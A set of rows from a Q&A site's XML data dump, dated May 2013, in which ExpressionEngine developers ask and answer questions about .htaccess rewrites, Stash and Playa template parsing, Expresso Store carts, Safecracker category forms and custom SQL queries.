  <row Id="10489" PostTypeId="2" ParentId="10488" CreationDate="2013-05-17T14:21:26.380" Score="2" Body="&lt;p&gt;There is an easier approach to this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the template group, the one that contains the template that is used for the homepage of your site, I've added an &lt;strong&gt;xml template&lt;/strong&gt; and named it &lt;strong&gt;&quot;sitemap.xml&quot;&lt;/strong&gt;. The actual template filename becomes sitemap.xml.xml, and added the template code to generate the sitemap.xml structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This in combination with the &lt;strong&gt;standard .htaccess file for &quot;nice urls&quot;&lt;/strong&gt; (see below), browsing to /sitemap.xml renders the sitemap.xml template I've just made.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteBase /&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond $1 !^(index\.php|robots\.txt)&#xA;RewriteRule ^(.*)$ index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is not a great invention, but it could save some people some time.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2013-05-17T14:21:26.380" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10490" PostTypeId="1" CreationDate="2013-05-17T14:22:25.443" Score="1" ViewCount="127" Body="&lt;p&gt;I'm developing my first Exp:resso Store site and I'm running into an issue with the cart not updating on my local development machine. I develop all my EE sites locally using OSX's built-in apache web server but this is the first time I believe I've ever seen any issues with functionality like this. Are there any reasons why the cart wouldn't update or allow me to add new items when testing on a local environment? I've uploaded this to a staging server and the cart seems to work just fine so it's definitely something in the configuration of my local development web server. It's pretty much the default config with only a couple minor changes to ensure permissions and turn on virtual hosts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;# remove index.php&#xA;RewriteCond %{QUERY_STRING} !^(ACT=.*)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;# remove www&#xA;# RewriteCond %{HTTP_HOST} ^example.com$ [NC]&#xA;# RewriteRule ^(.*)$ http://www.example.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="237" LastEditorUserId="237" LastEditDate="2013-05-20T12:41:52.553" LastActivityDate="2013-11-02T23:21:24.313" Title="Exp:resso Store cart issues on lcoalhost" Tags="|expresso-store|apache|localhost|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10491" PostTypeId="1" AcceptedAnswerId="10525" CreationDate="2013-05-17T14:36:19.043" Score="0" ViewCount="72" Body="&lt;p&gt;So I have a channel called Campaign, which has a number of ordinary text Input fields like 'campaign_twitter' and 'campaign_twitterhashtag'. It also has a Solspace Tag field called 'campaign_tag'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This Channel helps to create a Campaign page, so that when you add a Solspace Tag, the page will then pulll in related content from the rest of the site, based on that Tag. What i'm having trouble with is getting that related content to display correctly. It is currently just displaying the custom field names on the page, so I'm assuming it's something to do with parse order or not setting up the stash correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if someone might be able to assist to get things displaying correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is the list where I am setting all of the variables - Text Inputs and Solspace Tag;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;campaign-vars&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;campaign&quot;&#xA;        status=&quot;open&quot;&#xA;        limit=&quot;1&quot;&#xA;    }&#xA;&#xA;        {stash:tag}{exp:tag:tags entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot; websafe_separator=&quot;-&quot;}{tag}{/exp:tag:tags}{/stash:tag}&#xA;        {stash:twitter}{campaign_twitter}{/stash:twitter}&#xA;        {stash:twitter_hashtag}{campaign_twitterhashtag}{/stash:twitter_hashtag}&#xA;&#xA;        {stash:blog_entries}&#xA;            {exp:tag:entries&#xA;                channel=&quot;blog&quot;&#xA;                status=&quot;open&quot;&#xA;                orderby=&quot;title&quot;&#xA;                sort=&quot;asc&quot;&#xA;                tag=&quot;{tag}&quot; {!-- This should be the tag retrived from {stash:tag} --}&#xA;            }&#xA;                {stash:blog_title}{title}{/stash:blog_title}&#xA;                {stash:blog_summary}{article_summary}{/stash:blog_summary}&#xA;            {/exp:tag:entries}&#xA;        {/stash:blog_entries}&#xA;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is where i'm displaying content in the page, notice the loop for the blog entries. Where the {blog_title} should be, it's showing the title of the current page and all other tags are just displaying the actual tag, with the exception of {twitter} tag, which is displaying correctly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;content&quot;}&#xA;&#xA;    {exp:stash:get_list name=&quot;campaign-vars&quot;}&#xA;&#xA;        {!-- Loop through blog entries here --}&#xA;        {blog_entries}&#xA;            {blog_title}&#xA;            {blog_summary}&#xA;        {/blog_entries}&#xA;&#xA;        {!-- Display Twitter handle --}&#xA;        &amp;lt;p&amp;gt;Follow us on twitter: {twitter}&amp;lt;/p&amp;gt;&#xA;&#xA;    {/exp:stash:get_list}&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-05-19T05:29:06.463" Title="Getting Stash and Solspace Tag to work together" Tags="|stash|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10492" PostTypeId="1" CreationDate="2013-05-17T14:39:19.413" Score="1" ViewCount="205" Body="&lt;p&gt;Using Stash 2.3.6, EE 2.5.5, Playa 4.3.3...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to stash a list of related playa entries for &lt;code&gt;Model1&lt;/code&gt;. I want to assign the variables for &lt;code&gt;Model2&lt;/code&gt; based on my &lt;code&gt;Model2&lt;/code&gt; embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;code&gt;{!-- THIS IS NOT BEING SET --}&lt;/code&gt; below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I manually assign variables with &lt;code&gt;{exp:stash:set}&lt;/code&gt; within the playa loop, the code works fine. It is the nested embed that is failing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any advice for me? I love the way the code is laid out, and I want to keep it DRY.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main landing page (EE template)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:layout:main}&#xA;&#xA;{exp:stash:parse}&#xA;    {exp:channel:entries&#xA;        channel       = &quot;list&quot;&#xA;        limit         = &quot;1&quot;&#xA;        require_entry = &quot;yes&quot;&#xA;    }&#xA;        {if no_results}{redirect=&quot;404&quot;}{/if}&#xA;        {stash:embed:model:model1 process=&quot;start&quot;}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&#xA;{exp:stash:content}&#xA;    {exp:stash:get_list name=&quot;list_of_related_model2&quot; process=&quot;end&quot;}&#xA;        &amp;lt;li&amp;gt;{title} - {url_title}&amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;{/exp:stash:content}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Model 1 (stash template)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;title&quot;}{title}{/exp:stash:set}&#xA;&#xA;{exp:stash:set_list name=&quot;list_of_related_model2&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:playa:children field=&quot;cf_related&quot;}&#xA;        {stash:embed:model:model2 process=&quot;start&quot;}{!-- THIS IS NOT BEING SET --}&#xA;    {/exp:playa:children}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Model 2 (stash template)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;title&quot;}{title}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;url_title&quot;}{url_title}{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="918" LastActivityDate="2013-06-17T08:38:53.410" Title="Using MVC with Stash - nested model embeds for related entries (playa)" Tags="|playa|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10494" PostTypeId="1" CreationDate="2013-05-17T15:36:38.487" Score="1" ViewCount="291" Body="&lt;p&gt;I have a regular 'update cart button' on my basket (button type=&quot;submit&quot; name=&quot;update_cart&quot;), which should obviously recalculate the cart when I click it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cart is reloading correctly, but any changes to quantity are being ignored and the original value reloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers as to where this might be going wrong?&lt;/p&gt;&#xA;" OwnerUserId="1517" LastEditorUserId="1065" LastEditDate="2013-05-20T15:59:58.947" LastActivityDate="2013-06-19T16:39:39.960" Title="Expresso Store: Update Cart button is not updating the cart" Tags="|expresso-store|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10495" PostTypeId="1" AcceptedAnswerId="10503" CreationDate="2013-05-17T15:44:38.297" Score="1" ViewCount="308" Body="&lt;p&gt;I am trying to control the order of my products using Low Variables (2.3.4) and Playa (4.3.3). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Low Variable of type Playa name lv_product_order which I use to output the ids in the following manner.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var=&quot;lv_product_order&quot;}{entry_id},{/exp:low_variables:parse} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives me entry ids that I selected in the correct order, also including hte additional unnecessary comma.  So I tried to than include this in my channel entries loop in the following manner.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries &#xA;        channel=&quot;product&quot; &#xA;        disable=&quot;member_data|pagination|category_fields&quot; &#xA;        dynamic=&quot;off&quot; &#xA;        fixed_order=&quot;{exp:low_variables:parse var=&quot;lv_product_order&quot;}{entry_id},{/exp:low_variables:parse}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in the all products being output - even though I only selected a few in the LV Playa field, and order is obviously not preserved either.  Template debugging displays the following tag output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;product&quot; disable=&quot;member_data|pagination|category_fields&quot; dynamic=&quot;off&quot; fixed_order=&quot;M40o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where does the following hash come from? I expect this to be a list of IDs.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;M40o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have the field set to early parsing so I figured this would parse before the channel entry tag. Is this a parsing order issue? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&#xA;Thanks, Thomas&lt;/p&gt;&#xA;" OwnerUserId="902" LastActivityDate="2013-05-17T20:37:49.013" Title="How can I control output order using Low Variables and Playa" Tags="|playa|parse-order|low-variables|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10496" PostTypeId="2" ParentId="10478" CreationDate="2013-05-17T15:44:39.207" Score="1" Body="&lt;p&gt;That would certainly get the job done... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use your titles, you'd need to specify them, eg;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT *, field_id_20 AS my_custom_field_name, field_id_21 AS my_other_custom_field_name &#xA;                FROM exp_channel_titles t &#xA;                INNER JOIN exp_channel_data d using(entry_id) &#xA;                INNER JOIN exp_cartthrob_order_items ct using(entry_id)&#xA;                WHERE d.channel_id = '4' &#xA;                AND t.status = 'completed'&#xA;                ORDER BY d.entry_id DESC &quot;}&#xA;&#xA;{entry_id} | {my_custom_field_name} | {my_other_custom_field_name}&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using * and changing to custom field names using AS, kinda doubles up on the data... but will still be far more efficient than channels / carthrob etc etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're going to manually root these names out of the CP anyway, you may as well just comment your XML code... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field_id_20}{!-- Custom NAme --} &#xA;{field_id_21}{!-- Other Name --} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="39" LastEditorUserId="39" LastEditDate="2013-05-17T17:58:41.840" LastActivityDate="2013-05-17T17:58:41.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10497" PostTypeId="1" CreationDate="2013-05-17T15:59:58.233" Score="0" ViewCount="110" Body="&lt;p&gt;Very confusing error: When the Wygwam field is edited with anything beyond one paragraph - or anything else such as an email link is added - the EE &quot;Udpate&quot; button causes a 404 error page. This happens both with a new entry or if the entry is being updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This error only started happening when I transitioned the site to a new server so maybe there are some Wygwam paths I need to update? JS files not loading? HTACCESS issues? I am pretty sure Wygwam is causing the entire entry to error because if I leave it blank there is no error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem is, of course, making it impossible to edit content since Wygwam is ideal for body text fields. Please advise?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Brandon&lt;/p&gt;&#xA;" OwnerUserId="1356" LastActivityDate="2013-05-17T15:59:58.233" Title="Wygwam Causing 404 Error on Update" Tags="|ee2|pixelandtonic|wygwam|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10498" PostTypeId="2" ParentId="10495" CreationDate="2013-05-17T16:12:20.680" Score="0" Body="&lt;p&gt;Try an embed. In your main template put the embed code to a newly created embed template (in my example, it's 'embed_product_list').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{embed=&quot;template-group/embed_product_list&quot; product_ids=&quot;{lv_product_order}&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the embed_product_list template, your opening tag would be: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;product&quot; &#xA;    disable=&quot;member_data|pagination|category_fields&quot; &#xA;    dynamic=&quot;no&quot; &#xA;    fixed_order=&quot;{embed:product_ids}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-05-17T16:12:20.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10499" PostTypeId="2" ParentId="10470" CreationDate="2013-05-17T16:24:21.463" Score="1" Body="&lt;p&gt;This is a silly mistake on my part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I hadn't noticed was that there was a stray search opening tag further up the template that should have been removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was in fact throwing an error, and the template that was being displayed was the error template from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Design -&amp;gt; Message Pages -&amp;gt; User Messages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once I tracked down the stray tag it was all working as it should. The reason it looked like the old site was that they had hardcoded all of the css into the head of the template.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2013-05-17T16:24:21.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10500" PostTypeId="1" AcceptedAnswerId="10502" CreationDate="2013-05-17T16:52:23.557" Score="1" ViewCount="156" Body="&lt;p&gt;EE v2.5.5 - Build Date: 20121220&#xA;Assets 2.0.5&#xA;Matrix 2.5.3&#xA;Safecracker 2.1 (not sure if relevant)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using (but was not the original developer for) a multisite EE installation. In each installation I have the same channel, field group (Matrix) and identically named image upload path. However, on one of the sites I cannot get images to actually upload to the image upload directory or appear in the file upload dialog, pictured below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BMavm.png&quot; alt=&quot;file upload not indicating directory. After the file upload progress bar disappears, the form still looks like this&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1518" LastActivityDate="2013-05-17T20:33:45.883" Title="Matrix File Upload not displaying contents of directory, upload silently fails" Tags="|matrix|assets|file-uploads|file-manager|server|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10502" PostTypeId="2" ParentId="10500" CreationDate="2013-05-17T20:33:45.883" Score="0" Body="&lt;p&gt;The problem turned out to be that I hadn't run Update Index to finish setting up the upload destination. I had only created the upload destination and created the matrix field in channel field groups. Hope this helps someone else.&lt;/p&gt;&#xA;" OwnerUserId="1518" LastActivityDate="2013-05-17T20:33:45.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10503" PostTypeId="2" ParentId="10495" CreationDate="2013-05-17T20:37:49.013" Score="2" Body="&lt;p&gt;This &lt;a href=&quot;https://stackoverflow.com/questions/13101138/passing-entry-ids-to-channelentries-tag-with-low-variables-entries-select&quot;&gt;Stack Overflow post&lt;/a&gt; has an answer from Low that should work for you.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;Here's how: make sure early parsing is enabled for that variable, and then use the variable syntax instead of the tag syntax:&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;groups&quot; entry_id=&quot;{lv-home-groups}&quot;}&#xA;code here&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="563" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-05-17T20:37:49.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10504" PostTypeId="1" AcceptedAnswerId="10533" CreationDate="2013-05-17T22:17:19.370" Score="2" ViewCount="188" Body="&lt;p&gt;I feel like there's an obvious answer to this, but is it possible to have one channel entries tag with multiple channels and group the output by channel? For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;blog|news|press_releases&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    limit=&quot;50&quot;&#xA;    orderby=&quot;channel&quot;&#xA;}&#xA;    {!-- All Blog Entries First --}&#xA;&#xA;    {!-- All News Entries Second --}&#xA;&#xA;    {!-- All Press Releases Entries Third --}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-06-05T23:13:24.060" Title="Group Entry Listing By Channel" Tags="|channel-entries|orderby|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10505" PostTypeId="2" ParentId="10504" CreationDate="2013-05-17T22:25:29.543" Score="0" Body="&lt;p&gt;Something like,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if channel_id==&quot;Blog Entries ID #&quot;} Content {/if}&#xA;{if channel_id==&quot; News Entries ID #&quot;} Content {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc. etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do believe that the order of the conditionals top to bottom will output which you want to go first, next, etc.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2013-05-17T22:25:29.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10506" PostTypeId="2" ParentId="10504" CreationDate="2013-05-18T00:44:21.027" Score="0" Body="&lt;p&gt;To achieve it, you can use a small query to get the channel name and passing one by one in channel entry tag like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT channel_name FROM exp_channels WHERE channel_name IN ('blog', 'news', 'press_releases') ORDER BY FIELD(channel_name,'blog', 'news', 'press_releases')&quot;}&#xA;&#xA;{exp:channel:entries&#xA;    channel=&quot;{channel_name}&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    limit=&quot;50&quot;&#xA;    orderby=&quot;channel&quot;&#xA;}&#xA;&#xA;###### entries ########&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-18T00:44:21.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10507" PostTypeId="2" ParentId="10492" CreationDate="2013-05-18T08:02:02.173" Score="1" Body="&lt;p&gt;The first thing I'd suggest is that Model 2 should be a snippet. Capturing the standard entry fields (title, url_title, entry_id etc) is something I tend to do repeatedly in my viewModels, and I use a snippet called &lt;code&gt;{set_standard}&lt;/code&gt; to do it so I don't repeat myself. The other issue here is that &lt;code&gt;process=&quot;start&quot;&lt;/code&gt; is relative to the processing of the root EE embed, NOT the immediate parent template of the embed (in Stash 2.3.6). As the embed is nested EE is already at the 'inline' phase of processing. Thus to get the above working would require including the embed in the root template (with output=&quot;no&quot; so it doesn't display) and then referencing it as a placeholder &lt;code&gt;{stash:model2}&lt;/code&gt; in the child template.&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2013-05-18T08:08:39.530" LastActivityDate="2013-05-18T08:08:39.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10508" PostTypeId="1" CreationDate="2013-05-18T09:41:22.497" Score="0" ViewCount="210" Body="&lt;p&gt;I am using EE Core and have set-up a site so that when a new entry is published, you also select a category for it, and on the front end this simply outputs the category name. This works perfectly when you publish an entry from the back end, but I also have a safecracker form and when you post a new entry from that, the category name doesn't get outputted - but the drop down of categories is there and correct. Any ideas what could be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is is outputting the name;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{categories}{category_name} {/categories}&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the safecracker form with just the category code;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;new_property&quot; return=&quot;property/property-index&quot; }&#xA;   &amp;lt;select name=&quot;my_custom_field&quot;&amp;gt;&#xA;{exp:channel:categories style=&quot;linear&quot;}   &#xA;&amp;lt;option value=&quot;{category_name}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;{/exp:channel:categories} &#xA;&amp;lt;/select&amp;gt;&#xA; {custom_fields}    &#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1522" LastActivityDate="2013-06-17T16:38:54.193" Title="Expression Engine Categories And Safecracker" Tags="|safecracker|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10509" PostTypeId="2" ParentId="10438" CreationDate="2013-05-18T09:43:32.140" Score="0" Body="&lt;p&gt;This appears to be happening because ExpressionEngine 2.6 doesn't load the channel model automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just published a new version of RSVP (1.2.3) which fixes this issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/expressodev/rsvp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/expressodev/rsvp&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-18T09:43:32.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10510" PostTypeId="2" ParentId="10484" CreationDate="2013-05-18T09:52:35.647" Score="1" Body="&lt;p&gt;Derek hit the nail on the head - there is no way to do this automatically, so you will need to create a simple PHP extension to update the member's group in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not sure where to start, take a look at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;EE Extension Development Guide&lt;/a&gt;, and you want to use the &lt;code&gt;store_order_complete_end&lt;/code&gt; hook.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-18T09:52:35.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10511" PostTypeId="2" ParentId="10426" CreationDate="2013-05-18T09:55:30.887" Score="2" Body="&lt;p&gt;Per comments: The problem was caused by the &lt;code&gt;.htaccess&lt;/code&gt; file, and not ExpressionEngine.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-18T09:55:30.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10512" PostTypeId="2" ParentId="10508" CreationDate="2013-05-18T09:59:13.760" Score="1" Body="&lt;p&gt;Are you using &quot;Category Field&quot; (&lt;a href=&quot;http://devot-ee.com/add-ons/category-field&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/category-field&lt;/a&gt;) as custom field or storing category with any other field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should just save the categories and that category field automatically populate category name like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;new_property&quot; return=&quot;property/property-index&quot; }&#xA;   &amp;lt;select name=&quot;category[]&quot;&amp;gt;&#xA;{exp:channel:categories style=&quot;linear&quot;}   &#xA;&amp;lt;option value=&quot;{category_id}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;{/exp:channel:categories} &#xA;&amp;lt;/select&amp;gt;&#xA; {custom_fields}    &#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can try above code. I hope, it would work for you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-05-18T15:49:56.307" LastActivityDate="2013-05-18T15:49:56.307" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10513" PostTypeId="2" ParentId="10464" CreationDate="2013-05-18T10:00:18.600" Score="0" Body="&lt;p&gt;The other answers are correct - we don't generally add new gateways unless they are sponsored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our payment library is &lt;a href=&quot;https://github.com/expressodev/ci-merchant&quot; rel=&quot;nofollow&quot;&gt;open source&lt;/a&gt;, so if you have PHP development experience it's possible to develop the gateway yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, email support@exp-resso.com if you are interested in a quote for custom development.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-18T10:00:18.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10514" PostTypeId="2" ParentId="10437" CreationDate="2013-05-18T10:03:11.460" Score="0" Body="&lt;p&gt;This probably isn't because the promo code has been used - it's because the user is logged out. If you have the &quot;per user limit&quot; set on promo codes, then users must be logged in to use them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible that the customer who walked away from their desk was logged out in the meantime, which would explain why the promo code no longer worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you test this by making sure that you are logged in &lt;em&gt;before&lt;/em&gt; adding the promo code to your cart?&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-18T10:03:11.460" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10515" PostTypeId="2" ParentId="10396" CreationDate="2013-05-18T10:07:09.090" Score="0" Body="&lt;p&gt;As you mentioned, Store doesn't natively support Zenbu. Normally if you need to export data, the best way is to write a raw SQL query that will format the data exactly as you need it (this could vary a lot, because each product has a number of variations and SKUs which won't fit exactly into a two dimensional excel spreadsheet/CSV anyway).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-18T10:07:09.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
